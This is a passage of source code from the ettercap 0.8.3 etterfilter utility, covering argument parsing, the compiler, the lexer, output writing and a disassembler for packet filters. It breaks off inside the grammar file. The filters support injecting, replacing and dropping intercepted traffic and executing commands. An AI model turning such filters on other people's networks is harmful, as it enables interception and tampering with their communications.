fop->op.func.op = FFUNC_REPLACE; /* replace always operate at DATA level */ fop->op.func.level = 5; fop->op.func.string = (u_char*)strdup(dec_args[0]); fop->op.func.slen = strescape((char*)fop->op.func.string, (char*)fop->op.func.string, strlen(fop->op.func.string)+1); fop->op.func.replace = (u_char*)strdup(dec_args[1]); fop->op.func.rlen = strescape((char*)fop->op.func.replace, (char*)fop->op.func.replace, strlen(fop->op.func.replace)+1); ret = E_SUCCESS; } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); } else if (!strcmp(name, "inject")) { if (nargs == 1) { fop->op.func.op = FFUNC_INJECT; /* inject always operate at DATA level */ fop->op.func.level = 5; fop->op.func.string = (u_char*)strdup(dec_args[0]); fop->op.func.slen = strlen((const char*)fop->op.func.string); ret = E_SUCCESS; } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); } else if (!strcmp(name, "execinject")) { if (nargs == 1) { fop->op.func.op = FFUNC_EXECINJECT; /* execinject always operate at DATA level */ fop->op.func.level = 5; fop->op.func.string = (u_char*)strdup(dec_args[0]); fop->op.func.slen = strlen((const char*)fop->op.func.string); ret = E_SUCCESS; } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); } else if (!strcmp(name, "log")) { if (nargs == 2) { /* get the level (DATA or DECODED) */ if (encode_offset(dec_args[0], fop) == E_SUCCESS) { /* encode offset wipe the fop !! */ fop->opcode = FOP_FUNC; fop->op.func.op = FFUNC_LOG; fop->op.func.string = (u_char*)strdup(dec_args[1]); fop->op.func.slen = strlen((const char*)fop->op.func.string); ret = E_SUCCESS; } else SCRIPT_ERROR("Unknown offset %s ", dec_args[0]); } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); } else if (!strcmp(name, "drop")) { if (nargs == 0) { fop->op.func.op = FFUNC_DROP; ret = E_SUCCESS; } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); } else if (!strcmp(name, "kill")) { if (nargs == 0) { fop->op.func.op = FFUNC_KILL; ret = E_SUCCESS; } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); } else if (!strcmp(name, "msg")) { if (nargs == 1) { fop->op.func.op = FFUNC_MSG; fop->op.func.string = (u_char*)strdup(dec_args[0]); fop->op.func.slen = strescape((char*)fop->op.func.string, (char*)fop->op.func.string, strlen(fop->op.func.string)+1); ret = E_SUCCESS; } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); } else if (!strcmp(name, "exec")) { if (nargs == 1) { fop->op.func.op = FFUNC_EXEC; fop->op.func.string = (u_char*)strdup(dec_args[0]); fop->op.func.slen = strlen((const char*)fop->op.func.string); ret = E_SUCCESS; } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); } else if (!strcmp(name, "exit")) { if (nargs == 0) { fop->opcode = FOP_EXIT; ret = E_SUCCESS; } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); } /* free the array */ for (i = 0; i < nargs; i++) SAFE_FREE(dec_args[i]); SAFE_FREE(dec_args); SAFE_FREE(str); return ret; } /* * split the args of a function and return * the number of found args */ static char ** decode_args(char *args, int *nargs) { char *p, *q, *arg; int i = 0; char **parsed; *nargs = 0; /* get the end */ if ((p = strrchr(args, ')')) != NULL) *p = '\0'; /* trim the empty spaces */ for (; *args == ' '; args++); for (q = args + strlen(args) - 1; *q == ' '; q--) *q = '\0'; /* there are no arguments */ if (!strchr(args, ',') && strlen(args) == 0) return NULL; SAFE_CALLOC(parsed, 1, sizeof(char *)); /* split the arguments */ for (p = strsep_quotes(&args, ','), i = 1; p != NULL; p = strsep_quotes(&args, ','), i++) { /* alloc the array for the arguments */ SAFE_REALLOC(parsed, (i + 1) * sizeof(char *)); /* trim the empty spaces */ for (arg = p; *arg == ' '; arg++); for (q = arg + strlen(arg) - 1; *q == ' '; q--) *q = '\0'; /* remove the quotes (if there are) */ if (*arg == '\"' && arg[strlen(arg) - 1] == '\"') { arg[strlen(arg) - 1] = '\0'; arg++; } /* put in in the array */ parsed[i - 1] = strdup(arg); ef_debug(5, "ARGUMENT: %s\n", arg); } /* return the number of args */ *nargs = i - 1; return parsed; } /* * split the string in tokens separated by 'delim'. * ignore 'delim' if it is between two quotes "..." */ static char * strsep_quotes(char **stringp, const char delim) { char *s; int c; char *tok; /* sanity check */ if ((s = *stringp) == NULL) return (NULL); /* parse the string */ for (tok = s;;) { /* XXX - * this does not parses correctly string in the form: * * "foo, bar, "tic,tac"" */ /* skip string between quotes */ if (*s == '\"') while(*(++s) != '\"' && *s != '\0'); c = *s++; /* search for the delimiter */ if ( c == delim || c == 0) { if (c == 0) s = NULL; else s[-1] = 0; *stringp = s; return (tok); } } /* NOTREACHED */ } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterfilter/ef_compiler.c0000644000175000017500000002652413505247365021327 0ustar koeppeakoeppea/* etterfilter -- the actual compiler Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include /* globals */ /* * the compiler works this way: * * while bison parses the input it calls the function to * create temporary lists of "blocks". a block is a compound * of virtual instruction. every block element can contain a * single instruction or a if block. * the if block contains a link to the conditions list and two * link for the two block to be executed if the condition is * true or the else block (if any). * * so, after bison has finished its parsing we have a tree of * virtual instructions like that: * * ----------- * | tree root | * ----------- * | * ----------- ------------- * | block elm | --> | instruction | * ----------- ------------- * | * ----------- ------------- * | block elm | --> | instruction | * ----------- ------------- * | * ----------- ------------- ------------ * | block elm | --> | if block | --> | conditions | * ----------- ------------- ------------ * . / \ * . ----------- ----------- * . | block elm | | block elm | . . . * ----------- ----------- * . . * . . * * to create a binary filter we have to unfold the tree by converting * the conditions into test, eliminating the virtual if block and * create the right conditional jumps. * during the first unfolding the jumps are referencing virtual labels. * all the instructions are unfolded in a double-linked list. * * the last phase involves the tanslation of the labels into real offsets */ static struct block *tree_root; struct unfold_elm { u_int32 label; struct filter_op fop; TAILQ_ENTRY (unfold_elm) next; }; static TAILQ_HEAD(, unfold_elm) unfolded_tree = TAILQ_HEAD_INITIALIZER(unfolded_tree); /* label = 0 means "no label" */ static u_int32 vlabel = 1; /* protos */ static void unfold_blk(struct block **blk); static void unfold_ifblk(struct block **blk); static void unfold_conds(struct condition *cnd, u_int32 a, u_int32 b); static void labels_to_offsets(void); /*******************************************/ /* * set the entry point of the filter tree */ int compiler_set_root(struct block *blk) { BUG_IF(blk == NULL); tree_root = blk; return E_SUCCESS; } /* * allocate an instruction container for filter_op */ struct instruction * compiler_create_instruction(struct filter_op *fop) { struct instruction *ins; SAFE_CALLOC(ins, 1, sizeof(struct instruction)); /* copy the instruction */ memcpy(&ins->fop, fop, sizeof(struct filter_op)); return ins; } /* * allocate a condition container for filter_op */ struct condition * compiler_create_condition(struct filter_op *fop) { struct condition *cnd; SAFE_CALLOC(cnd, 1, sizeof(struct condition)); /* copy the instruction */ memcpy(&cnd->fop, fop, sizeof(struct filter_op)); return cnd; } /* * concatenates two conditions with a logical operator */ struct condition * compiler_concat_conditions(struct condition *a, u_int16 op, struct condition *b) { struct condition *head = a; /* go to the last conditions in 'a' */ while(a->next != NULL) a = a->next; /* set the operation */ a->op = op; /* contatenate the two block */ a->next = b; /* return the head of the conditions */ return head; } /* * allocate a ifblock container */ struct ifblock * compiler_create_ifblock(struct condition *conds, struct block *blk) { struct ifblock *ifblk; SAFE_CALLOC(ifblk, 1, sizeof(struct ifblock)); /* associate the pointers */ ifblk->conds = conds; ifblk->blk = blk; return ifblk; } /* * allocate a if_else_block container */ struct ifblock * compiler_create_ifelseblock(struct condition *conds, struct block *blk, struct block *elseblk) { struct ifblock *ifblk; SAFE_CALLOC(ifblk, 1, sizeof(struct ifblock)); /* associate the pointers */ ifblk->conds = conds; ifblk->blk = blk; ifblk->elseblk = elseblk; return ifblk; } /* * add an instruction to a block */ struct block * compiler_add_instr(struct instruction *ins, struct block *blk) { struct block *bl; SAFE_CALLOC(bl, 1, sizeof(struct block)); /* copy the current instruction in the block */ bl->type = BLK_INSTR; bl->un.ins = ins; /* link it to the old block chain */ bl->next = blk; return bl; } /* * add an if block to a block */ struct block * compiler_add_ifblk(struct ifblock *ifb, struct block *blk) { struct block *bl; SAFE_CALLOC(bl, 1, sizeof(struct block)); /* copy the current instruction in the block */ bl->type = BLK_IFBLK; bl->un.ifb = ifb; /* link it to the old block chain */ bl->next = blk; return bl; } /* * parses the tree and produce a compiled * array of filter_op */ size_t compile_tree(struct filter_op **fop) { int i = 1; struct filter_op *array = NULL; struct unfold_elm *ue; // invalid file if (tree_root == NULL) return 0; USER_MSG(" Unfolding the meta-tree "); /* start the recursion on the tree */ unfold_blk(&tree_root); USER_MSG(" done.\n\n"); /* substitute the virtual labels with real offsets */ labels_to_offsets(); /* convert the tailq into an array */ TAILQ_FOREACH(ue, &unfolded_tree, next) { /* label == 0 means a real instruction */ if (ue->label == 0) { SAFE_REALLOC(array, i * sizeof(struct filter_op)); memcpy(&array[i - 1], &ue->fop, sizeof(struct filter_op)); i++; } } /* always append the exit function to a script */ SAFE_REALLOC(array, i * sizeof(struct filter_op)); array[i - 1].opcode = FOP_EXIT; /* return the pointer to the array */ *fop = array; return (i); } /* * unfold a block putting it in the unfolded_tree list */ static void unfold_blk(struct block **blk) { struct unfold_elm *ue = NULL; BUG_IF(*blk == NULL); /* the progress bar */ ef_debug(1, "+"); do { switch((*blk)->type) { case BLK_INSTR: /* insert the instruction as is */ SAFE_CALLOC(ue, 1, sizeof(struct unfold_elm)); memcpy(&ue->fop, (*blk)->un.ins, sizeof(struct filter_op)); TAILQ_INSERT_TAIL(&unfolded_tree, ue, next); break; case BLK_IFBLK: unfold_ifblk(blk); break; default: BUG("undefined tree element"); break; } } while ((*blk = (*blk)->next)); } /* * unfold an if block putting it in the unfolded_tree list */ static void unfold_ifblk(struct block **blk) { struct ifblock *ifblk; struct unfold_elm *ue; u_int32 a = vlabel++; u_int32 b = vlabel++; u_int32 c = vlabel++; /* * the virtual labels represent the three points of an if block: * * if (conds) { * a -> * ... * jmp c; * b -> * } else { * ... * } * c -> * * if the conds are true, jump to 'a' * if the conds are false, jump to 'b' * 'c' is used to skip the else if the conds were true */ /* the progress bar */ ef_debug(1, "#"); /* cast the if block */ ifblk = (*blk)->un.ifb; /* compile the conditions */ unfold_conds(ifblk->conds, a, b); /* if the conditions are match, jump here */ SAFE_CALLOC(ue, 1, sizeof(struct unfold_elm)); ue->label = a; TAILQ_INSERT_TAIL(&unfolded_tree, ue, next); /* check if the block is empty. i.e. { } */ if (ifblk->blk != NULL) { /* recursively compile the main block */ unfold_blk(&ifblk->blk); } /* * if there is the else block, we have to skip it * if the condition was true */ if (ifblk->elseblk != NULL) { SAFE_CALLOC(ue, 1, sizeof(struct unfold_elm)); ue->fop.opcode = FOP_JMP; ue->fop.op.jmp = c; TAILQ_INSERT_TAIL(&unfolded_tree, ue, next); } /* if the conditions are NOT match, jump here (after the block) */ SAFE_CALLOC(ue, 1, sizeof(struct unfold_elm)); ue->label = b; TAILQ_INSERT_TAIL(&unfolded_tree, ue, next); /* recursively compile the else block */ if (ifblk->elseblk != NULL) { unfold_blk(&ifblk->elseblk); /* this is the label to skip the else if the condition was true */ SAFE_CALLOC(ue, 1, sizeof(struct unfold_elm)); ue->label = c; TAILQ_INSERT_TAIL(&unfolded_tree, ue, next); } } /* * unfold a conditions block putting it in the unfolded_tree list */ static void unfold_conds(struct condition *cnd, u_int32 a, u_int32 b) { struct unfold_elm *ue = NULL; do { /* the progress bar */ ef_debug(1, "?"); /* insert the condition as is */ SAFE_CALLOC(ue, 1, sizeof(struct unfold_elm)); memcpy(&ue->fop, &cnd->fop, sizeof(struct filter_op)); TAILQ_INSERT_TAIL(&unfolded_tree, ue, next); /* insert the conditional jump */ SAFE_CALLOC(ue, 1, sizeof(struct unfold_elm)); if (cnd->op == COND_OR) { ue->fop.opcode = FOP_JTRUE; ue->fop.op.jmp = a; } else { /* AND and single instructions behave equally */ ue->fop.opcode = FOP_JFALSE; ue->fop.op.jmp = b; } TAILQ_INSERT_TAIL(&unfolded_tree, ue, next); } while ((cnd = cnd->next)); } /* * converts the virtual labels to real offsets */ static void labels_to_offsets(void) { struct unfold_elm *ue; struct unfold_elm *s; u_int32 offset = 0; USER_MSG(" Converting labels to real offsets "); TAILQ_FOREACH(ue, &unfolded_tree, next) { /* search only for jumps */ if (ue->fop.opcode == FOP_JMP || ue->fop.opcode == FOP_JTRUE || ue->fop.opcode == FOP_JFALSE) { switch (ue->fop.opcode) { case FOP_JMP: ef_debug(1, "*"); break; case FOP_JTRUE: ef_debug(1, "+"); break; case FOP_JFALSE: ef_debug(1, "-"); break; } /* search the offset associated with the label */ TAILQ_FOREACH(s, &unfolded_tree, next) { if (s->label == ue->fop.op.jmp) { ue->fop.op.jmp = offset; /* reset the offset */ offset = 0; break; } /* if it is an instruction, increment the offset */ if (s->label == 0) offset++; } } } USER_MSG(" done.\n\n"); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterfilter/ef_syntax.l0000644000175000017500000000770013505247365021047 0ustar koeppeakoeppea/* etterfilter -- syntax for filter source files Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ %{ #include #include #include /* from bison */ #include %} /* * ========================================== * FLEX Declarations * ========================================== */ %option noyywrap %option nounput %option noinput OFFSET [[:alnum:]]+\.[A-Za-z]+[\.[A-Za-z]+]* FUNCTION [a-z_]+\((.*\".*\"[^)]*)*\) CONST [0-9]+|0x[0-9a-fA-F]+|[A-Z6]+ STRING \"([^\0"\\]*(\\.[^\0"\\]*)*)\" IPADDR \'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\' IP6ADDR \'[0-9a-fA-F]{4}[0-9a-fA-F:]+:[0-9a-fA-F]{1,4}\'|\'::1\' SPACES [ \t]+ %% "if" { ef_debug(5, "IF\n"); return TOKEN_IF; } "else" { ef_debug(5, "ELSE\n"); return TOKEN_ELSE; } "&&" { return TOKEN_OP_AND; } "||" { return TOKEN_OP_OR; } "!=" { return TOKEN_OP_CMP_NEQ; } "==" { return TOKEN_OP_CMP_EQ; } "<" { return TOKEN_OP_CMP_LT; } ">" { return TOKEN_OP_CMP_GT; } "<=" { return TOKEN_OP_CMP_LEQ; } ">=" { return TOKEN_OP_CMP_GEQ; } "=" { return TOKEN_OP_ASSIGN; } "+=" { return TOKEN_OP_INC; } "-=" { return TOKEN_OP_DEC; } "*" { return TOKEN_OP_MUL; } "+" { return TOKEN_OP_ADD; } "-" { return TOKEN_OP_SUB; } "/" { return TOKEN_OP_DIV; } "(" { return TOKEN_PAR_OPEN; } ")" { return TOKEN_PAR_CLOSE; } "{" { return TOKEN_BLK_BEGIN; } "}" { return TOKEN_BLK_END; } ";" { return TOKEN_OP_END; } {OFFSET} { ef_debug(4, "OFFSET: %s\n", yytext); if (encode_offset(yytext, &yylval.fop) != E_SUCCESS) SCRIPT_ERROR("Offset \"%s\" not recognized", yytext); return TOKEN_OFFSET; } {FUNCTION} { ef_debug(4, "FUNCTION: %s\n", yytext); if (encode_function(yytext, &yylval.fop) != E_SUCCESS) SCRIPT_ERROR("Function \"%s\" not recognized", yytext); return TOKEN_FUNCTION; } {CONST} { ef_debug(4, "CONST: %s\n", yytext); if (encode_const(yytext, &yylval.fop) != E_SUCCESS) SCRIPT_ERROR("Constant \"%s\" not recognized", yytext); return TOKEN_CONST; } {STRING} { ef_debug(4, "STRING: %s\n", yytext); if (encode_const(yytext, &yylval.fop) != E_SUCCESS) SCRIPT_ERROR("Invalid string [%s]", yytext); return TOKEN_STRING; } {IPADDR} { ef_debug(4, "IPADDR: %s\n", yytext); if (encode_const(yytext, &yylval.fop) != E_SUCCESS) SCRIPT_ERROR("Invalid ip address [%s]", yytext); /* ip addresses are translated into network order integer */ return TOKEN_CONST; } {IP6ADDR} { ef_debug(4, "IP6ADDR: %s\n", yytext); if (encode_const(yytext, &yylval.fop) != E_SUCCESS) SCRIPT_ERROR("Invalid ipv6 address [%s]", yytext); /* ip addresses are translated into network order integer */ return TOKEN_CONST; } {SPACES} /* eat up the blank spaces */ "/*".*"*/" /* eat up one line comments */ "#".* [\n\r] { /* increment the line number (used for error reporting) */ EF_GBL->lineno++; } . { yylval.string = strdup(yytext); return TOKEN_UNKNOWN; } %% /* * ========================================== * C Code * ========================================== */ /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterfilter/ef_output.c0000644000175000017500000001216313505247365021047 0ustar koeppeakoeppea/* etterfilter -- the actual compiler Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include /* protos */ static void print_progress_bar(struct filter_op *fop); static size_t create_data_segment(u_char **data, struct filter_header *fh, struct filter_op *fop, size_t n); static size_t add_data_segment(u_char **data, size_t base, u_char **string, size_t slen); /*******************************************/ int write_output(void) { int fd; struct filter_op *fop; struct filter_header fh; size_t ninst, i, data_len; u_char pad = 0, *data = NULL; /* conver the tree to an array of filter_op */ ninst = compile_tree(&fop); if (fop == NULL) return -E_NOTHANDLED; if (ninst == 0) return -E_INVALID; /* create the file */ fd = open(EF_GBL_OPTIONS->output_file, O_CREAT | O_RDWR | O_TRUNC | O_BINARY, 0644); ON_ERROR(fd, -1, "Can't create file %s", EF_GBL_OPTIONS->output_file); /* display the message */ USER_MSG(" Writing output to \'%s\' ", EF_GBL_OPTIONS->output_file); /* compute the header */ fh.magic = htons(EC_FILTER_MAGIC); strncpy(fh.version, EC_VERSION, sizeof(fh.version)); fh.data = sizeof(fh); data_len = create_data_segment(&data, &fh, fop, ninst); /* write the header */ write(fd, &fh, sizeof(struct filter_header)); /* write the data segment */ write(fd, data, data_len); /* write padding to next 8-byte boundary */ for (i = 0; i < fh.code - (fh.data + data_len); i++) write(fd, &pad, 1); /* write the instructions */ for (i = 0; i < ninst; i++) { print_progress_bar(&fop[i]); write(fd, &fop[i], sizeof(struct filter_op)); } close(fd); USER_MSG(" done.\n\n"); USER_MSG(" -> Script encoded into %d instructions.\n\n", (int)(i - 1)); return E_SUCCESS; } /* * creates the data segment into an byte array supplied as argument data * and update the file header instruction pointer 8-byte aligned * * returns length of the data segment */ static size_t create_data_segment(u_char** data, struct filter_header *fh, struct filter_op *fop, size_t n) { size_t i, len = 0; for (i = 0; i < n; i++) { switch(fop[i].opcode) { case FOP_FUNC: if (fop[i].op.func.slen) { ef_debug(1, "@"); len += add_data_segment(data, len, &fop[i].op.func.string, fop[i].op.func.slen); } if (fop[i].op.func.rlen) { ef_debug(1, "@"); len += add_data_segment(data, len, &fop[i].op.func.replace, fop[i].op.func.rlen); } break; case FOP_TEST: if (fop[i].op.test.slen) { ef_debug(1, "@"); len += add_data_segment(data, len, &fop[i].op.test.string, fop[i].op.test.slen); } break; case FOP_ASSIGN: if (fop[i].op.assign.slen) { ef_debug(1, "@"); len += add_data_segment(data, len, &fop[i].op.test.string, fop[i].op.test.slen); } break; } } /* where starts the code ? */ fh->code = fh->data + len; /* 8-byte aligned please */ if (fh->code % 8) fh->code += 8 - fh->code % 8; return len; } /* * add a string to the buffer */ static size_t add_data_segment(u_char **data, size_t base, u_char **string, size_t slen) { /* make room for the new string */ SAFE_REALLOC(*data, base + slen + 1); /* copy the string, NULL separated */ memcpy(*data + base, *string, slen + 1); /* * change the pointer to the new string location * it is an offset from the base of the data segment */ *string = (u_char *)base; /* retur the len of the added string */ return slen + 1; } /* * prints a differnt sign for every different instruction */ static void print_progress_bar(struct filter_op *fop) { switch(fop->opcode) { case FOP_EXIT: ef_debug(1, "!"); break; case FOP_TEST: ef_debug(1, "?"); break; case FOP_ASSIGN: ef_debug(1, "="); break; case FOP_FUNC: ef_debug(1, "."); break; case FOP_JMP: ef_debug(1, ":"); break; case FOP_JTRUE: case FOP_JFALSE: ef_debug(1, ";"); break; } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterfilter/ef_test.c0000644000175000017500000002210713505247365020465 0ustar koeppeakoeppea/* etterfilter -- test module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #ifndef OS_WINDOWS #include #endif #include #include #include /* protos */ void test_filter(char *filename); void print_fop(struct filter_op *fop, u_int32 eip); static void print_test(struct filter_op *fop, u_int32 eip); static void print_assign(struct filter_op *fop, u_int32 eip); static void print_inc(struct filter_op *fop, u_int32 eip); static void print_dec(struct filter_op *fop, u_int32 eip); static void print_function(struct filter_op *fop, u_int32 eip); /*******************************************/ /* * test a binary filter against a given file */ void test_filter(char *filename) { struct filter_op *fop; struct filter_env *fenv; struct filter_list *flist; flist = NULL; u_int32 eip = 0; /*memset(fenv, 0, sizeof(struct filter_env));*/ /* load the file */ if (filter_load_file(filename, &flist, 1) != E_SUCCESS) { ef_exit(-1); } fenv = &flist->env; /* skip the header in the file */ fop = fenv->chain; USER_MSG("Disassebling \"%s\" content...\n\n", filename); /* loop all the instructions and print their content */ while (eip < (fenv->len / sizeof(struct filter_op)) ) { /* print the instruction */ print_fop(&fop[eip], eip); /* autoincrement the instruction pointer */ eip++; } USER_MSG("\n %d instructions decoded.\n\n", (int)(fenv->len / sizeof(struct filter_op))); ef_exit(0); } /* * helper functions to print instructions */ void print_fop(struct filter_op *fop, u_int32 eip) { switch (fop->opcode) { case FOP_TEST: print_test(fop, eip); break; case FOP_ASSIGN: print_assign(fop, eip); break; case FOP_INC: print_inc(fop, eip); break; case FOP_DEC: print_dec(fop, eip); break; case FOP_FUNC: print_function(fop, eip); break; case FOP_JMP: USER_MSG("%04lu: JUMP ALWAYS to %04d\n", (unsigned long)eip, fop->op.jmp); break; case FOP_JTRUE: USER_MSG("%04lu: JUMP IF TRUE to %04d\n", (unsigned long)eip, fop->op.jmp); break; case FOP_JFALSE: USER_MSG("%04lu: JUMP IF FALSE to %04d\n", (unsigned long)eip, fop->op.jmp); break; case FOP_EXIT: USER_MSG("%04lu: EXIT\n", (unsigned long)eip); break; default: USER_MSG("UNDEFINED OPCODE (%d) !!\n", fop->opcode); ef_exit(-1); break; } } void print_test(struct filter_op *fop, u_int32 eip) { switch(fop->op.test.op) { case FTEST_EQ: if (fop->op.test.size != 0) USER_MSG("%04lu: TEST level %d, offset %d, size %d, == %lu [%#x]\n", (unsigned long)eip, fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); else USER_MSG("%04lu: TEST level %d, offset %d, \"%s\"\n", (unsigned long)eip, fop->op.test.level, fop->op.test.offset, fop->op.test.string); break; case FTEST_NEQ: if (fop->op.test.size != 0) USER_MSG("%04lu: TEST level %d, offset %d, size %d, != %lu [%#x]\n", (unsigned long)eip, fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); else USER_MSG("%04lu: TEST level %d, offset %d, not \"%s\"\n", (unsigned long)eip, fop->op.test.level, fop->op.test.offset, fop->op.test.string); break; case FTEST_LT: USER_MSG("%04lu: TEST level %d, offset %d, size %d, < %lu [%#x]\n", (unsigned long)eip, fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); break; case FTEST_GT: USER_MSG("%04lu: TEST level %d, offset %d, size %d, > %lu [%#x]\n", (unsigned long)eip, fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); break; case FTEST_LEQ: USER_MSG("%04lu: TEST level %d, offset %d, size %d, <= %lu [%#x]\n", (unsigned long)eip, fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); break; case FTEST_GEQ: USER_MSG("%04lu: TEST level %d, offset %d, size %d, >= %lu [%#x]\n", (unsigned long)eip, fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); break; default: USER_MSG("%04lu: UNDEFINED TEST OPCODE (%d) !!\n", (unsigned long)eip, fop->op.test.op); break; } } void print_assign(struct filter_op *fop, u_int32 eip) { if (fop->op.assign.size != 0) USER_MSG("%04lu: ASSIGNMENT level %d, offset %d, size %d, value %lu [%#x]\n", (unsigned long)eip, fop->op.assign.level, fop->op.assign.offset, fop->op.assign.size, (unsigned long)fop->op.assign.value, (unsigned int)fop->op.assign.value); else USER_MSG("%04lu: ASSIGNMENT level %d, offset %d, string \"%s\"\n", (unsigned long)eip, fop->op.assign.level, fop->op.assign.offset, fop->op.assign.string); } void print_inc(struct filter_op *fop, u_int32 eip) { USER_MSG("%04lu: INCREMENT level %d, offset %d, size %d, value %lu [%#x]\n", (unsigned long)eip, fop->op.assign.level, fop->op.assign.offset, fop->op.assign.size, (unsigned long)fop->op.assign.value, (unsigned int)fop->op.assign.value); } void print_dec(struct filter_op *fop, u_int32 eip) { USER_MSG("%04lu: DECREMENT level %d, offset %d, size %d, value %lu [%#x]\n", (unsigned long)eip, fop->op.assign.level, fop->op.assign.offset, fop->op.assign.size, (unsigned long)fop->op.assign.value, (unsigned int)fop->op.assign.value); } void print_function(struct filter_op *fop, u_int32 eip) { switch (fop->op.func.op) { case FFUNC_SEARCH: USER_MSG("%04lu: SEARCH level %d, string \"%s\"\n", (unsigned long)eip, fop->op.func.level, fop->op.func.string); break; case FFUNC_REGEX: USER_MSG("%04lu: REGEX level %d, string \"%s\"\n", (unsigned long)eip, fop->op.func.level, fop->op.func.string); break; case FFUNC_PCRE: if (fop->op.func.replace) USER_MSG("%04lu: PCRE_REGEX level %d, string \"%s\", replace \"%s\"\n", (unsigned long)eip, fop->op.func.level, fop->op.func.string, fop->op.func.replace); else USER_MSG("%04lu: PCRE_REGEX level %d, string \"%s\"\n", (unsigned long)eip, fop->op.func.level, fop->op.func.string); break; case FFUNC_REPLACE: USER_MSG("%04lu: REPLACE \"%s\" --> \"%s\"\n", (unsigned long)eip, fop->op.func.string, fop->op.func.replace); break; case FFUNC_INJECT: USER_MSG("%04lu: INJECT \"%s\"\n", (unsigned long)eip, fop->op.func.string); break; case FFUNC_EXECINJECT: USER_MSG("%04lu: EXECINJECT \"%s\"\n", (unsigned long)eip, fop->op.func.string); break; case FFUNC_LOG: USER_MSG("%04lu: LOG to \"%s\"\n", (unsigned long)eip, fop->op.func.string); break; case FFUNC_DROP: USER_MSG("%04lu: DROP\n", (unsigned long)eip); break; case FFUNC_KILL: USER_MSG("%04lu: KILL\n", (unsigned long)eip); break; case FFUNC_MSG: USER_MSG("%04lu: MSG \"%s\"\n", (unsigned long)eip, fop->op.func.string); break; case FFUNC_EXEC: USER_MSG("%04lu: EXEC \"%s\"\n", (unsigned long)eip, fop->op.func.string); break; default: USER_MSG("%04lu: UNDEFINED FUNCTION OPCODE (%d)!!\n", (unsigned long)eip, fop->op.func.op); break; } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterfilter/ef_grammar.y0000644000175000017500000003303113505247365021160 0ustar koeppeakoeppea/* etterfilter -- grammar for filter source files Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ %{ #include #include #include #define YYERROR_VERBOSE /* declare yylex here as it's only missing in bison */ int yylex(void); %} /* * ========================================== * BISON Declarations * ========================================== */ /* definition for the yylval (global variable) */ %union { char *string; struct filter_op fop; /* used to create the compiler tree */ struct block *blk; struct instruction *ins; struct ifblock *ifb; struct condition *cnd; } /* token definitions */ %token TOKEN_EOL %token TOKEN_CONST /* an integer number */ %token TOKEN_OFFSET /* an offset in the form xxxx.yyy.zzzzz */ %token TOKEN_STRING /* a string "xxxxxx" */ %token TOKEN_FUNCTION /* a function */ %token TOKEN_IF /* if ( ) { */ %token 